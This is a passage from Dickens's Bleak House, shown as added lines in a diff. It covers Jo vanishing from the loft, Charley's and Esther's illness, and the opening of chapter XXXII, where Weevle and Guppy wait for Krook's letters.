+My guardian stopped and looked at him with a whimsical mixture of
+amusement and indignation in his face.
+
+"Our young friend is not to be suspected of any delicacy, I should
+imagine," said Mr. Skimpole, unabashed and candid. "It seems to me
+that it would be wiser, as well as in a certain kind of way more
+respectable, if he showed some misdirected energy that got him into
+prison. There would be more of an adventurous spirit in it, and
+consequently more of a certain sort of poetry."
+
+"I believe," returned my guardian, resuming his uneasy walk, "that
+there is not such another child on earth as yourself."
+
+"Do you really?" said Mr. Skimpole. "I dare say! But I confess I
+don't see why our young friend, in his degree, should not seek to
+invest himself with such poetry as is open to him. He is no doubt
+born with an appetite--probably, when he is in a safer state of
+health, he has an excellent appetite. Very well. At our young
+friend's natural dinner hour, most likely about noon, our young
+friend says in effect to society, 'I am hungry; will you have the
+goodness to produce your spoon and feed me?' Society, which has taken
+upon itself the general arrangement of the whole system of spoons and
+professes to have a spoon for our young friend, does NOT produce that
+spoon; and our young friend, therefore, says 'You really must excuse
+me if I seize it.' Now, this appears to me a case of misdirected
+energy, which has a certain amount of reason in it and a certain
+amount of romance; and I don't know but what I should be more
+interested in our young friend, as an illustration of such a case,
+than merely as a poor vagabond--which any one can be."
+
+"In the meantime," I ventured to observe, "he is getting worse."
+
+"In the meantime," said Mr. Skimpole cheerfully, "as Miss Summerson,
+with her practical good sense, observes, he is getting worse.
+Therefore I recommend your turning him out before he gets still
+worse."
+
+The amiable face with which he said it, I think I shall never forget.
+
+"Of course, little woman," observed my guardian, turning to me, "I
+can ensure his admission into the proper place by merely going there
+to enforce it, though it's a bad state of things when, in his
+condition, that is necessary. But it's growing late, and is a very
+bad night, and the boy is worn out already. There is a bed in the
+wholesome loft-room by the stable; we had better keep him there till
+morning, when he can be wrapped up and removed. We'll do that."
+
+"Oh!" said Mr. Skimpole, with his hands upon the keys of the piano as
+we moved away. "Are you going back to our young friend?"
+
+"Yes," said my guardian.
+
+"How I envy you your constitution, Jarndyce!" returned Mr. Skimpole
+with playful admiration. "You don't mind these things; neither does
+Miss Summerson. You are ready at all times to go anywhere, and do
+anything. Such is will! I have no will at all--and no won't--simply
+can't."
+
+"You can't recommend anything for the boy, I suppose?" said my
+guardian, looking back over his shoulder half angrily; only half
+angrily, for he never seemed to consider Mr. Skimpole an accountable
+being.
+
+"My dear Jarndyce, I observed a bottle of cooling medicine in his
+pocket, and it's impossible for him to do better than take it. You
+can tell them to sprinkle a little vinegar about the place where he
+sleeps and to keep it moderately cool and him moderately warm. But it
+is mere impertinence in me to offer any recommendation. Miss
+Summerson has such a knowledge of detail and such a capacity for the
+administration of detail that she knows all about it."
+
+We went back into the hall and explained to Jo what we proposed to
+do, which Charley explained to him again and which he received with
+the languid unconcern I had already noticed, wearily looking on at
+what was done as if it were for somebody else. The servants
+compassionating his miserable state and being very anxious to help,
+we soon got the loft-room ready; and some of the men about the house
+carried him across the wet yard, well wrapped up. It was pleasant to
+observe how kind they were to him and how there appeared to be a
+general impression among them that frequently calling him "Old Chap"
+was likely to revive his spirits. Charley directed the operations and
+went to and fro between the loft-room and the house with such little
+stimulants and comforts as we thought it safe to give him. My
+guardian himself saw him before he was left for the night and
+reported to me when he returned to the growlery to write a letter on
+the boy's behalf, which a messenger was charged to deliver at
+day-light in the morning, that he seemed easier and inclined to
+sleep. They had fastened his door on the outside, he said, in case of
+his being delirious, but had so arranged that he could not make any
+noise without being heard.
+
+Ada being in our room with a cold, Mr. Skimpole was left alone all
+this time and entertained himself by playing snatches of pathetic
+airs and sometimes singing to them (as we heard at a distance) with
+great expression and feeling. When we rejoined him in the
+drawing-room he said he would give us a little ballad which had come
+into his head "apropos of our young friend," and he sang one about a
+peasant boy,
+
+   "Thrown on the wide world, doomed to wander and roam,
+    Bereft of his parents, bereft of a home."
+
+quite exquisitely. It was a song that always made him cry, he told
+us.
+
+He was extremely gay all the rest of the evening, for he absolutely
+chirped--those were his delighted words--when he thought by what a
+happy talent for business he was surrounded. He gave us, in his glass
+of negus, "Better health to our young friend!" and supposed and gaily
+pursued the case of his being reserved like Whittington to become
+Lord Mayor of London. In that event, no doubt, he would establish the
+Jarndyce Institution and the Summerson Almshouses, and a little
+annual Corporation Pilgrimage to St. Albans. He had no doubt, he
+said, that our young friend was an excellent boy in his way, but his
+way was not the Harold Skimpole way; what Harold Skimpole was, Harold
+Skimpole had found himself, to his considerable surprise, when he
+first made his own acquaintance; he had accepted himself with all his
+failings and had thought it sound philosophy to make the best of the
+bargain; and he hoped we would do the same.
+
+Charley's last report was that the boy was quiet. I could see, from
+my window, the lantern they had left him burning quietly; and I went
+to bed very happy to think that he was sheltered.
+
+There was more movement and more talking than usual a little before
+daybreak, and it awoke me. As I was dressing, I looked out of my
+window and asked one of our men who had been among the active
+sympathizers last night whether there was anything wrong about the
+house. The lantern was still burning in the loft-window.
+
+"It's the boy, miss," said he.
+
+"Is he worse?" I inquired.
+
+"Gone, miss.
+
+"Dead!"
+
+"Dead, miss? No. Gone clean off."
+
+At what time of the night he had gone, or how, or why, it seemed
+hopeless ever to divine. The door remaining as it had been left, and
+the lantern standing in the window, it could only be supposed that he
+had got out by a trap in the floor which communicated with an empty
+cart-house below. But he had shut it down again, if that were so; and
+it looked as if it had not been raised. Nothing of any kind was
+missing. On this fact being clearly ascertained, we all yielded to
+the painful belief that delirium had come upon him in the night and
+that, allured by some imaginary object or pursued by some imaginary
+horror, he had strayed away in that worse than helpless state; all of
+us, that is to say, but Mr. Skimpole, who repeatedly suggested, in
+his usual easy light style, that it had occurred to our young friend
+that he was not a safe inmate, having a bad kind of fever upon him,
+and that he had with great natural politeness taken himself off.
+
+Every possible inquiry was made, and every place was searched. The
+brick-kilns were examined, the cottages were visited, the two women
+were particularly questioned, but they knew nothing of him, and
+nobody could doubt that their wonder was genuine. The weather had for
+some time been too wet and the night itself had been too wet to admit
+of any tracing by footsteps. Hedge and ditch, and wall, and rick and
+stack, were examined by our men for a long distance round, lest the
+boy should be lying in such a place insensible or dead; but nothing
+was seen to indicate that he had ever been near. From the time when
+he was left in the loft-room, he vanished.
+
+The search continued for five days. I do not mean that it ceased even
+then, but that my attention was then diverted into a current very
+memorable to me.
+
+As Charley was at her writing again in my room in the evening, and as
+I sat opposite to her at work, I felt the table tremble. Looking up,
+I saw my little maid shivering from head to foot.
+
+"Charley," said I, "are you so cold?"
+
+"I think I am, miss," she replied. "I don't know what it is. I can't
+hold myself still. I felt so yesterday at about this same time, miss.
+Don't be uneasy, I think I'm ill."
+
+I heard Ada's voice outside, and I hurried to the door of
+communication between my room and our pretty sitting-room, and locked
+it. Just in time, for she tapped at it while my hand was yet upon the
+key.
+
+Ada called to me to let her in, but I said, "Not now, my dearest. Go
+away. There's nothing the matter; I will come to you presently." Ah!
+It was a long, long time before my darling girl and I were companions
+again.
+
+Charley fell ill. In twelve hours she was very ill. I moved her to my
+room, and laid her in my bed, and sat down quietly to nurse her. I
+told my guardian all about it, and why I felt it was necessary that I
+should seclude myself, and my reason for not seeing my darling above
+all. At first she came very often to the door, and called to me, and
+even reproached me with sobs and tears; but I wrote her a long letter
+saying that she made me anxious and unhappy and imploring her, as she
+loved me and wished my mind to be at peace, to come no nearer than
+the garden. After that she came beneath the window even oftener than
+she had come to the door, and if I had learnt to love her dear sweet
+voice before when we were hardly ever apart, how did I learn to love
+it then, when I stood behind the window-curtain listening and
+replying, but not so much as looking out! How did I learn to love it
+afterwards, when the harder time came!
+
+They put a bed for me in our sitting-room; and by keeping the door
+wide open, I turned the two rooms into one, now that Ada had vacated
+that part of the house, and kept them always fresh and airy. There
+was not a servant in or about the house but was so good that they
+would all most gladly have come to me at any hour of the day or night
+without the least fear or unwillingness, but I thought it best to
+choose one worthy woman who was never to see Ada and whom I could
+trust to come and go with all precaution. Through her means I got out
+to take the air with my guardian when there was no fear of meeting
+Ada, and wanted for nothing in the way of attendance, any more than
+in any other respect.
+
+And thus poor Charley sickened and grew worse, and fell into heavy
+danger of death, and lay severely ill for many a long round of day
+and night. So patient she was, so uncomplaining, and inspired by such
+a gentle fortitude that very often as I sat by Charley holding her
+head in my arms--repose would come to her, so, when it would come to
+her in no other attitude--I silently prayed to our Father in heaven
+that I might not forget the lesson which this little sister taught
+me.
+
+I was very sorrowful to think that Charley's pretty looks would
+change and be disfigured, even if she recovered--she was such a child
+with her dimpled face--but that thought was, for the greater part,
+lost in her greater peril. When she was at the worst, and her mind
+rambled again to the cares of her father's sick bed and the little
+children, she still knew me so far as that she would be quiet in my
+arms when she could lie quiet nowhere else, and murmur out the
+wanderings of her mind less restlessly. At those times I used to
+think, how should I ever tell the two remaining babies that the baby
+who had learned of her faithful heart to be a mother to them in their
+need was dead!
+
+There were other times when Charley knew me well and talked to me,
+telling me that she sent her love to Tom and Emma and that she was
+sure Tom would grow up to be a good man. At those times Charley would
+speak to me of what she had read to her father as well as she could
+to comfort him, of that young man carried out to be buried who was
+the only son of his mother and she was a widow, of the ruler's
+daughter raised up by the gracious hand upon her bed of death. And
+Charley told me that when her father died she had kneeled down and
+prayed in her first sorrow that he likewise might be raised up and
+given back to his poor children, and that if she should never get
+better and should die too, she thought it likely that it might come
+into Tom's mind to offer the same prayer for her. Then would I show
+Tom how these people of old days had been brought back to life on
+earth, only that we might know our hope to be restored to heaven!
+
+But of all the various times there were in Charley's illness, there
+was not one when she lost the gentle qualities I have spoken of. And
+there were many, many when I thought in the night of the last high
+belief in the watching angel, and the last higher trust in God, on
+the part of her poor despised father.
+
+And Charley did not die. She flutteringly and slowly turned the
+dangerous point, after long lingering there, and then began to mend.
+The hope that never had been given, from the first, of Charley being
+in outward appearance Charley any more soon began to be encouraged;
+and even that prospered, and I saw her growing into her old childish
+likeness again.
+
+It was a great morning when I could tell Ada all this as she stood
+out in the garden; and it was a great evening when Charley and I at
+last took tea together in the next room. But on that same evening, I
+felt that I was stricken cold.
+
+Happily for both of us, it was not until Charley was safe in bed
+again and placidly asleep that I began to think the contagion of her
+illness was upon me. I had been able easily to hide what I felt at
+tea-time, but I was past that already now, and I knew that I was
+rapidly following in Charley's steps.
+
+I was well enough, however, to be up early in the morning, and to
+return my darling's cheerful blessing from the garden, and to talk
+with her as long as usual. But I was not free from an impression that
+I had been walking about the two rooms in the night, a little beside
+myself, though knowing where I was; and I felt confused at
+times--with a curious sense of fullness, as if I were becoming too
+large altogether.
+
+In the evening I was so much worse that I resolved to prepare
+Charley, with which view I said, "You're getting quite strong,
+Charley, are you not?'
+
+"Oh, quite!" said Charley.
+
+"Strong enough to be told a secret, I think, Charley?"
+
+"Quite strong enough for that, miss!" cried Charley. But Charley's
+face fell in the height of her delight, for she saw the secret in MY
+face; and she came out of the great chair, and fell upon my bosom,
+and said "Oh, miss, it's my doing! It's my doing!" and a great deal
+more out of the fullness of her grateful heart.
+
+"Now, Charley," said I after letting her go on for a little while,
+"if I am to be ill, my great trust, humanly speaking, is in you. And
+unless you are as quiet and composed for me as you always were for
+yourself, you can never fulfil it, Charley."
+
+"If you'll let me cry a little longer, miss," said Charley. "Oh, my
+dear, my dear! If you'll only let me cry a little longer. Oh, my
+dear!"--how affectionately and devotedly she poured this out as she
+clung to my neck, I never can remember without tears--"I'll be good."
+
+So I let Charley cry a little longer, and it did us both good.
+
+"Trust in me now, if you please, miss," said Charley quietly. "I am
+listening to everything you say."
+
+"It's very little at present, Charley. I shall tell your doctor
+to-night that I don't think I am well and that you are going to nurse
+me."
+
+For that the poor child thanked me with her whole heart. "And in the
+morning, when you hear Miss Ada in the garden, if I should not be
+quite able to go to the window-curtain as usual, do you go, Charley,
+and say I am asleep--that I have rather tired myself, and am asleep.
+At all times keep the room as I have kept it, Charley, and let no one
+come."
+
+Charley promised, and I lay down, for I was very heavy. I saw the
+doctor that night and asked the favour of him that I wished to ask
+relative to his saying nothing of my illness in the house as yet. I
+have a very indistinct remembrance of that night melting into day,
+and of day melting into night again; but I was just able on the first
+morning to get to the window and speak to my darling.
+
+On the second morning I heard her dear voice--Oh, how dear
+now!--outside; and I asked Charley, with some difficulty (speech
+being painful to me), to go and say I was asleep. I heard her answer
+softly, "Don't disturb her, Charley, for the world!"
+
+"How does my own Pride look, Charley?" I inquired.
+
+"Disappointed, miss," said Charley, peeping through the curtain.
+
+"But I know she is very beautiful this morning."
+
+"She is indeed, miss," answered Charley, peeping. "Still looking up
+at the window."
+
+With her blue clear eyes, God bless them, always loveliest when
+raised like that!
+
+I called Charley to me and gave her her last charge.
+
+"Now, Charley, when she knows I am ill, she will try to make her way
+into the room. Keep her out, Charley, if you love me truly, to the
+last! Charley, if you let her in but once, only to look upon me for
+one moment as I lie here, I shall die."
+
+"I never will! I never will!" she promised me.
+
+"I believe it, my dear Charley. And now come and sit beside me for a
+little while, and touch me with your hand. For I cannot see you,
+Charley; I am blind."
+
+
+
+
+CHAPTER XXXII
+
+The Appointed Time
+
+
+It is night in Lincoln's Inn--perplexed and troublous valley of the
+shadow of the law, where suitors generally find but little day--and
+fat candles are snuffed out in offices, and clerks have rattled down
+the crazy wooden stairs and dispersed. The bell that rings at nine
+o'clock has ceased its doleful clangour about nothing; the gates are
+shut; and the night-porter, a solemn warder with a mighty power of
+sleep, keeps guard in his lodge. From tiers of staircase windows
+clogged lamps like the eyes of Equity, bleared Argus with a
+fathomless pocket for every eye and an eye upon it, dimly blink at
+the stars. In dirty upper casements, here and there, hazy little
+patches of candlelight reveal where some wise draughtsman and
+conveyancer yet toils for the entanglement of real estate in meshes
+of sheep-skin, in the average ratio of about a dozen of sheep to an
+acre of land. Over which bee-like industry these benefactors of their
+species linger yet, though office-hours be past, that they may give,
+for every day, some good account at last.
+
+In the neighbouring court, where the Lord Chancellor of the rag and
+bottle shop dwells, there is a general tendency towards beer and
+supper. Mrs. Piper and Mrs. Perkins, whose respective sons, engaged
+with a circle of acquaintance in the game of hide and seek, have been
+lying in ambush about the by-ways of Chancery Lane for some hours and
+scouring the plain of the same thoroughfare to the confusion of
+passengers--Mrs. Piper and Mrs. Perkins have but now exchanged
+congratulations on the children being abed, and they still linger on
+a door-step over a few parting words. Mr. Krook and his lodger, and
+the fact of Mr. Krook's being "continually in liquor," and the
+testamentary prospects of the young man are, as usual, the staple of
+their conversation. But they have something to say, likewise, of the
+Harmonic Meeting at the Sol's Arms, where the sound of the piano
+through the partly opened windows jingles out into the court, and
+where Little Swills, after keeping the lovers of harmony in a roar
+like a very Yorick, may now be heard taking the gruff line in a
+concerted piece and sentimentally adjuring his friends and patrons to
+"Listen, listen, listen, tew the wa-ter fall!" Mrs. Perkins and Mrs.
+Piper compare opinions on the subject of the young lady of
+professional celebrity who assists at the Harmonic Meetings and who
+has a space to herself in the manuscript announcement in the window,
+Mrs. Perkins possessing information that she has been married a year
+and a half, though announced as Miss M. Melvilleson, the noted siren,
+and that her baby is clandestinely conveyed to the Sol's Arms every
+night to receive its natural nourishment during the entertainments.
+"Sooner than which, myself," says Mrs. Perkins, "I would get my
+living by selling lucifers." Mrs. Piper, as in duty bound, is of the
+same opinion, holding that a private station is better than public
+applause, and thanking heaven for her own (and, by implication, Mrs.
+Perkins') respectability. By this time the pot-boy of the Sol's Arms
+appearing with her supper-pint well frothed, Mrs. Piper accepts that
+tankard and retires indoors, first giving a fair good night to Mrs.
+Perkins, who has had her own pint in her hand ever since it was
+fetched from the same hostelry by young Perkins before he was sent to
+bed. Now there is a sound of putting up shop-shutters in the court
+and a smell as of the smoking of pipes; and shooting stars are seen
+in upper windows, further indicating retirement to rest. Now, too,
+the policeman begins to push at doors; to try fastenings; to be
+suspicious of bundles; and to administer his beat, on the hypothesis
+that every one is either robbing or being robbed.
+
+It is a close night, though the damp cold is searching too, and there
+is a laggard mist a little way up in the air. It is a fine steaming
+night to turn the slaughter-houses, the unwholesome trades, the
+sewerage, bad water, and burial-grounds to account, and give the
+registrar of deaths some extra business. It may be something in the
+air--there is plenty in it--or it may be something in himself that is
+in fault; but Mr. Weevle, otherwise Jobling, is very ill at ease. He
+comes and goes between his own room and the open street door twenty
+times an hour. He has been doing so ever since it fell dark. Since
+the Chancellor shut up his shop, which he did very early to-night,
+Mr. Weevle has been down and up, and down and up (with a cheap tight
+velvet skull-cap on his head, making his whiskers look out of all
+proportion), oftener than before.
+
+It is no phenomenon that Mr. Snagsby should be ill at ease too, for
+he always is so, more or less, under the oppressive influence of the
+secret that is upon him. Impelled by the mystery of which he is a
+partaker and yet in which he is not a sharer, Mr. Snagsby haunts what
+seems to be its fountain-head--the rag and bottle shop in the court.
+It has an irresistible attraction for him. Even now, coming round by
+the Sol's Arms with the intention of passing down the court, and out
+at the Chancery Lane end, and so terminating his unpremeditated
+after-supper stroll of ten minutes' long from his own door and back
+again, Mr. Snagsby approaches.
+
+"What, Mr. Weevle?" says the stationer, stopping to speak. "Are YOU
+there?"
+
+"Aye!" says Weevle, "Here I am, Mr. Snagsby."
+
+"Airing yourself, as I am doing, before you go to bed?" the stationer
+inquires.
+
+"Why, there's not much air to be got here; and what there is, is not
+very freshening," Weevle answers, glancing up and down the court.
+
+"Very true, sir. Don't you observe," says Mr. Snagsby, pausing to
+sniff and taste the air a little, "don't you observe, Mr. Weevle,
+that you're--not to put too fine a point upon it--that you're rather
+greasy here, sir?"
+
+"Why, I have noticed myself that there is a queer kind of flavour in
+the place to-night," Mr. Weevle rejoins. "I suppose it's chops at the
+Sol's Arms."
+
+"Chops, do you think? Oh! Chops, eh?" Mr. Snagsby sniffs and tastes
+again. "Well, sir, I suppose it is. But I should say their cook at
+the Sol wanted a little looking after. She has been burning 'em, sir!
+And I don't think"--Mr. Snagsby sniffs and tastes again and then
+spits and wipes his mouth--"I don't think--not to put too fine a
+point upon it--that they were quite fresh when they were shown the
+gridiron."
+
+"That's very likely. It's a tainting sort of weather."
+
+"It IS a tainting sort of weather," says Mr. Snagsby, "and I find it
+sinking to the spirits."
+
+"By George! I find it gives me the horrors," returns Mr. Weevle.
+
+"Then, you see, you live in a lonesome way, and in a lonesome room,
+with a black circumstance hanging over it," says Mr. Snagsby, looking
+in past the other's shoulder along the dark passage and then falling
+back a step to look up at the house. "I couldn't live in that room
+alone, as you do, sir. I should get so fidgety and worried of an
+evening, sometimes, that I should be driven to come to the door and
+stand here sooner than sit there. But then it's very true that you
+didn't see, in your room, what I saw there. That makes a difference."
+
+"I know quite enough about it," returns Tony.
+
+"It's not agreeable, is it?" pursues Mr. Snagsby, coughing his cough
+of mild persuasion behind his hand. "Mr. Krook ought to consider it
+in the rent. I hope he does, I am sure."
+
+"I hope he does," says Tony. "But I doubt it."
+
+"You find the rent too high, do you, sir?" returns the stationer.
+"Rents ARE high about here. I don't know how it is exactly, but the
+law seems to put things up in price. Not," adds Mr. Snagsby with his
+apologetic cough, "that I mean to say a word against the profession I
+get my living by."
+
+Mr. Weevle again glances up and down the court and then looks at the
+stationer. Mr. Snagsby, blankly catching his eye, looks upward for a
+star or so and coughs a cough expressive of not exactly seeing his
+way out of this conversation.
+
+"It's a curious fact, sir," he observes, slowly rubbing his hands,
+"that he should have been--"
+
+"Who's he?" interrupts Mr. Weevle.
+
+"The deceased, you know," says Mr. Snagsby, twitching his head and
+right eyebrow towards the staircase and tapping his acquaintance on
+the button.
+
+"Ah, to be sure!" returns the other as if he were not over-fond of
+the subject. "I thought we had done with him."
+
+"I was only going to say it's a curious fact, sir, that he should
+have come and lived here, and been one of my writers, and then that
+you should come and live here, and be one of my writers too. Which
+there is nothing derogatory, but far from it in the appellation,"
+says Mr. Snagsby, breaking off with a mistrust that he may have
+unpolitely asserted a kind of proprietorship in Mr. Weevle, "because
+I have known writers that have gone into brewers' houses and done
+really very respectable indeed. Eminently respectable, sir," adds Mr.
+Snagsby with a misgiving that he has not improved the matter.
+
+"It's a curious coincidence, as you say," answers Weevle, once more
+glancing up and down the court.
+
+"Seems a fate in it, don't there?" suggests the stationer.
+
+"There does."
+
+"Just so," observes the stationer with his confirmatory cough. "Quite
+a fate in it. Quite a fate. Well, Mr. Weevle, I am afraid I must bid
+you good night"--Mr. Snagsby speaks as if it made him desolate to go,
+though he has been casting about for any means of escape ever since
+he stopped to speak--"my little woman will be looking for me else.
+Good night, sir!"
+
+If Mr. Snagsby hastens home to save his little woman the trouble of
+looking for him, he might set his mind at rest on that score. His
+little woman has had her eye upon him round the Sol's Arms all this
+time and now glides after him with a pocket handkerchief wrapped over
+her head, honouring Mr. Weevle and his doorway with a searching
+glance as she goes past.
+
+"You'll know me again, ma'am, at all events," says Mr. Weevle to
+himself; "and I can't compliment you on your appearance, whoever you
+are, with your head tied up in a bundle. Is this fellow NEVER
+coming!"
+
+This fellow approaches as he speaks. Mr. Weevle softly holds up his
+finger, and draws him into the passage, and closes the street door.
+Then they go upstairs, Mr. Weevle heavily, and Mr. Guppy (for it is
+he) very lightly indeed. When they are shut into the back room, they
+speak low.
+
+"I thought you had gone to Jericho at least instead of coming here,"
+says Tony.
+
+"Why, I said about ten."
+
+"You said about ten," Tony repeats. "Yes, so you did say about ten.
+But according to my count, it's ten times ten--it's a hundred
+o'clock. I never had such a night in my life!"
+
+"What has been the matter?"
+
+"That's it!" says Tony. "Nothing has been the matter. But here have I
+been stewing and fuming in this jolly old crib till I have had the
+horrors falling on me as thick as hail. THERE'S a blessed-looking
+candle!" says Tony, pointing to the heavily burning taper on his
+table with a great cabbage head and a long winding-sheet.
+
+"That's easily improved," Mr. Guppy observes as he takes the snuffers
+in hand.
+
+"IS it?" returns his friend. "Not so easily as you think. It has been
+smouldering like that ever since it was lighted."
+
+"Why, what's the matter with you, Tony?" inquires Mr. Guppy, looking
+at him, snuffers in hand, as he sits down with his elbow on the
+table.
+
+"William Guppy," replies the other, "I am in the downs. It's this
+unbearably dull, suicidal room--and old Boguey downstairs, I
+suppose." Mr. Weevle moodily pushes the snuffers-tray from him with
+his elbow, leans his head on his hand, puts his feet on the fender,
+and looks at the fire. Mr. Guppy, observing him, slightly tosses his
+head and sits down on the other side of the table in an easy
+attitude.
+
+"Wasn't that Snagsby talking to you, Tony?"
+
+"Yes, and he--yes, it was Snagsby," said Mr. Weevle, altering the
+construction of his sentence.
+
+"On business?"
+
+"No. No business. He was only sauntering by and stopped to prose."
+
+"I thought it was Snagsby," says Mr. Guppy, "and thought it as well
+that he shouldn't see me, so I waited till he was gone."
+
+"There we go again, William G.!" cried Tony, looking up for an
+instant. "So mysterious and secret! By George, if we were going to
+commit a murder, we couldn't have more mystery about it!"
+
+Mr. Guppy affects to smile, and with the view of changing the
+conversation, looks with an admiration, real or pretended, round the
+room at the Galaxy Gallery of British Beauty, terminating his survey
+with the portrait of Lady Dedlock over the mantelshelf, in which she
+is represented on a terrace, with a pedestal upon the terrace, and a
+vase upon the pedestal, and her shawl upon the vase, and a prodigious
+piece of fur upon the shawl, and her arm on the prodigious piece of
+fur, and a bracelet on her arm.
+
+"That's very like Lady Dedlock," says Mr. Guppy. "It's a speaking
+likeness."
+
+"I wish it was," growls Tony, without changing his position. "I
+should have some fashionable conversation, here, then."
+
+Finding by this time that his friend is not to be wheedled into a
+more sociable humour, Mr. Guppy puts about upon the ill-used tack and
+remonstrates with him.
+
+"Tony," says he, "I can make allowances for lowness of spirits, for
+no man knows what it is when it does come upon a man better than I
+do, and no man perhaps has a better right to know it than a man who
+has an unrequited image imprinted on his 'eart. But there are bounds
+to these things when an unoffending party is in question, and I will
+acknowledge to you, Tony, that I don't think your manner on the
+present occasion is hospitable or quite gentlemanly."
+
+"This is strong language, William Guppy," returns Mr. Weevle.
+
+"Sir, it may be," retorts Mr. William Guppy, "but I feel strongly
+when I use it."
+
+Mr. Weevle admits that he has been wrong and begs Mr. William Guppy
+to think no more about it. Mr. William Guppy, however, having got the
+advantage, cannot quite release it without a little more injured
+remonstrance.
+
+"No! Dash it, Tony," says that gentleman, "you really ought to be
+careful how you wound the feelings of a man who has an unrequited
+image imprinted on his 'eart and who is NOT altogether happy in those
+chords which vibrate to the tenderest emotions. You, Tony, possess in
+yourself all that is calculated to charm the eye and allure the
+taste. It is not--happily for you, perhaps, and I may wish that I
+could say the same--it is not your character to hover around one
+flower. The ole garden is open to you, and your airy pinions carry
+you through it. Still, Tony, far be it from me, I am sure, to wound
+even your feelings without a cause!"
+
+Tony again entreats that the subject may be no longer pursued, saying
+emphatically, "William Guppy, drop it!" Mr. Guppy acquiesces, with
+the reply, "I never should have taken it up, Tony, of my own accord."
+
+"And now," says Tony, stirring the fire, "touching this same bundle
+of letters. Isn't it an extraordinary thing of Krook to have
+appointed twelve o'clock to-night to hand 'em over to me?"
+
+"Very. What did he do it for?"
+
+"What does he do anything for? HE don't know. Said to-day was his
+birthday and he'd hand 'em over to-night at twelve o'clock. He'll
+have drunk himself blind by that time. He has been at it all day."
+
+"He hasn't forgotten the appointment, I hope?"
+
+"Forgotten? Trust him for that. He never forgets anything. I saw him
+to-night, about eight--helped him to shut up his shop--and he had got
+the letters then in his hairy cap. He pulled it off and showed 'em
+me. When the shop was closed, he took them out of his cap, hung his
+cap on the chair-back, and stood turning them over before the fire. I
+heard him a little while afterwards, through the floor here, humming
+like the wind, the only song he knows--about Bibo, and old Charon,
+and Bibo being drunk when he died, or something or other. He has been
+as quiet since as an old rat asleep in his hole."
+
+"And you are to go down at twelve?"
+
+"At twelve. And as I tell you, when you came it seemed to me a
+hundred."
+
+"Tony," says Mr. Guppy after considering a little with his legs
+crossed, "he can't read yet, can he?"
+
+"Read! He'll never read. He can make all the letters separately, and
+he knows most of them separately when he sees them; he has got on
+that much, under me; but he can't put them together. He's too old to
+acquire the knack of it now--and too drunk."
+
+"Tony," says Mr. Guppy, uncrossing and recrossing his legs, "how do
+you suppose he spelt out that name of Hawdon?"
+
+"He never spelt it out. You know what a curious power of eye he has
+and how he has been used to employ himself in copying things by eye
+alone. He imitated it, evidently from the direction of a letter, and
+asked me what it meant."
+
+"Tony," says Mr. Guppy, uncrossing and recrossing his legs again,
+"should you say that the original was a man's writing or a woman's?"
+
+"A woman's. Fifty to one a lady's--slopes a good deal, and the end of
+the letter 'n,' long and hasty."
+
+Mr. Guppy has been biting his thumb-nail during this dialogue,
+generally changing the thumb when he has changed the cross leg. As he
+is going to do so again, he happens to look at his coat-sleeve. It
+takes his attention. He stares at it, aghast.
+
+"Why, Tony, what on earth is going on in this house to-night? Is
+there a chimney on fire?"
+
+"Chimney on fire!"
+
+"Ah!" returns Mr. Guppy. "See how the soot's falling. See here, on my
+arm! See again, on the table here! Confound the stuff, it won't blow
+off--smears like black fat!"
+
+They look at one another, and Tony goes listening to the door, and a
+little way upstairs, and a little way downstairs. Comes back and says
+it's all right and all quiet, and quotes the remark he lately made to
+Mr. Snagsby about their cooking chops at the Sol's Arms.
+
+"And it was then," resumes Mr. Guppy, still glancing with remarkable
+aversion at the coat-sleeve, as they pursue their conversation before
+the fire, leaning on opposite sides of the table, with their heads
+very near together, "that he told you of his having taken the bundle
+of letters from his lodger's portmanteau?"
+
+"That was the time, sir," answers Tony, faintly adjusting his
+whiskers. "Whereupon I wrote a line to my dear boy, the Honourable
+William Guppy, informing him of the appointment for to-night and
+advising him not to call before, Boguey being a slyboots."
+
+The light vivacious tone of fashionable life which is usually assumed
+by Mr. Weevle sits so ill upon him to-night that he abandons that and
+his whiskers together, and after looking over his shoulder, appears
+to yield himself up a prey to the horrors again.
+
+"You are to bring the letters to your room to read and compare, and
+to get yourself into a position to tell him all about them. That's
+the arrangement, isn't it, Tony?" asks Mr. Guppy, anxiously biting
+his thumb-nail.
+
+"You can't speak too low. Yes. That's what he and I agreed."
+
+"I tell you what, Tony--"
+
+"You can't speak too low," says Tony once more. Mr. Guppy nods his
+sagacious head, advances it yet closer, and drops into a whisper.
+
+"I tell you what. The first thing to be done is to make another
+packet like the real one so that if he should ask to see the real one
+while it's in my possession, you can show him the dummy."
+
+"And suppose he detects the dummy as soon as he sees it, which with
+his biting screw of an eye is about five hundred times more likely
+than not," suggests Tony.
+
+"Then we'll face it out. They don't belong to him, and they never
+did. You found that, and you placed them in my hands--a legal friend
+of yours--for security. If he forces us to it, they'll be producible,
+won't they?"
+
+"Ye-es," is Mr. Weevle's reluctant admission.
+
+"Why, Tony," remonstrates his friend, "how you look! You don't doubt
+William Guppy? You don't suspect any harm?"
+
+"I don't suspect anything more than I know, William," returns the
+other gravely.
+
+"And what do you know?" urges Mr. Guppy, raising his voice a little;
+but on his friend's once more warning him, "I tell you, you can't
+speak too low," he repeats his question without any sound at all,
+forming with his lips only the words, "What do you know?"
+
+"I know three things. First, I know that here we are whispering in
+secrecy, a pair of conspirators."
+
+"Well!" says Mr. Guppy. "And we had better be that than a pair of
+noodles, which we should be if we were doing anything else, for it's
+the only way of doing what we want to do. Secondly?"
+
+"Secondly, it's not made out to me how it's likely to be profitable,
+after all."
+
+Mr. Guppy casts up his eyes at the portrait of Lady Dedlock over the
+mantelshelf and replies, "Tony, you are asked to leave that to the
+honour of your friend. Besides its being calculated to serve that
+friend in those chords of the human mind which--which need not be
+called into agonizing vibration on the present occasion--your friend
+is no fool. What's that?"
+
+"It's eleven o'clock striking by the bell of Saint Paul's. Listen and
+you'll hear all the bells in the city jangling."
+
+Both sit silent, listening to the metal voices, near and distant,
+resounding from towers of various heights, in tones more various than
+their situations. When these at length cease, all seems more
+mysterious and quiet than before. One disagreeable result of
+whispering is that it seems to evoke an atmosphere of silence,
+haunted by the ghosts of sound--strange cracks and tickings, the
+rustling of garments that have no substance in them, and the tread of
+dreadful feet that would leave no mark on the sea-sand or the winter
+snow. So sensitive the two friends happen to be that the air is full
+of these phantoms, and the two look over their shoulders by one
+consent to see that the door is shut.
+
+"Yes, Tony?" says Mr. Guppy, drawing nearer to the fire and biting
+his unsteady thumb-nail. "You were going to say, thirdly?"
+
+"It's far from a pleasant thing to be plotting about a dead man in
+the room where he died, especially when you happen to live in it."
+
+"But we are plotting nothing against him, Tony."
+
